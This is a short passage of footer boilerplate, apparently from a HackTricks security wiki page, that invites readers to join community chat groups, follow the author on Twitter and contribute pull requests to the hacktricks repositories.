* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>